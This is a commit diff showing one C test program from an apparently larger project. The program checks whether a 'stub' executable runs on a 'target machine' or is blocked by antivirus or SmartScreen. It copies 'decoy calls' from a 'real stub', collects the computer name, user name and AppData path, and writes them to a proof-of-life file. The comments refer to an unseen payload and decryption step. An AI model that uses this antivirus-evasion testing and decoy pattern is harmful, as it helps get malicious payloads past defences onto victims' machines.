initial commit

2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
@@ -0,0 +1,51 @@
+/* Minimal test: does the stub actually execute on the target machine?
+ * Drops a proof-of-life file, then exits.
+ * If the file appears -> exe ran, problem is in payload/decryption.
+ * If no file -> exe was blocked before execution (AV/SmartScreen). */
+#include <windows.h>
+#include <shlobj.h>
+#include <ole2.h>
+#include <stdio.h>
+
+int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
+                   LPSTR lpCmdLine, int nCmdShow) {
+    (void)hInstance; (void)hPrevInstance; (void)lpCmdLine; (void)nCmdShow;
+
+    /* Same decoy calls as the real stub */
+    OSVERSIONINFOW osvi = { .dwOSVersionInfoSize = sizeof(osvi) };
+    GetVersionExW(&osvi);
+
+    char compName[MAX_COMPUTERNAME_LENGTH + 1];
+    DWORD compNameLen = sizeof(compName);
+    GetComputerNameA(compName, &compNameLen);
+
+    char userName[256];
+    DWORD userNameLen = sizeof(userName);
+    GetUserNameA(userName, &userNameLen);
+
+    CoInitializeEx(NULL, COINIT_MULTITHREADED);
+    CoUninitialize();
+
+    char folderPath[MAX_PATH];
+    SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, folderPath);
+
+    /* Write proof-of-life */
+    HANDLE hFile = CreateFileA("C:\\Users\\Public\\stub_ran.txt",
+        GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+    if (hFile != INVALID_HANDLE_VALUE) {
+        char msg[512];
+        int len = wsprintfA(msg,
+            "Stub executed successfully!\r\n"
+            "Computer: %s\r\n"
+            "User: %s\r\n"
+            "AppData: %s\r\n"
+            "OS: %lu.%lu.%lu\r\n",
+            compName, userName, folderPath,
+            osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);
+        DWORD written;
+        WriteFile(hFile, msg, len, &written, NULL);
+        CloseHandle(hFile);
+    }
+
+    return 0;
+}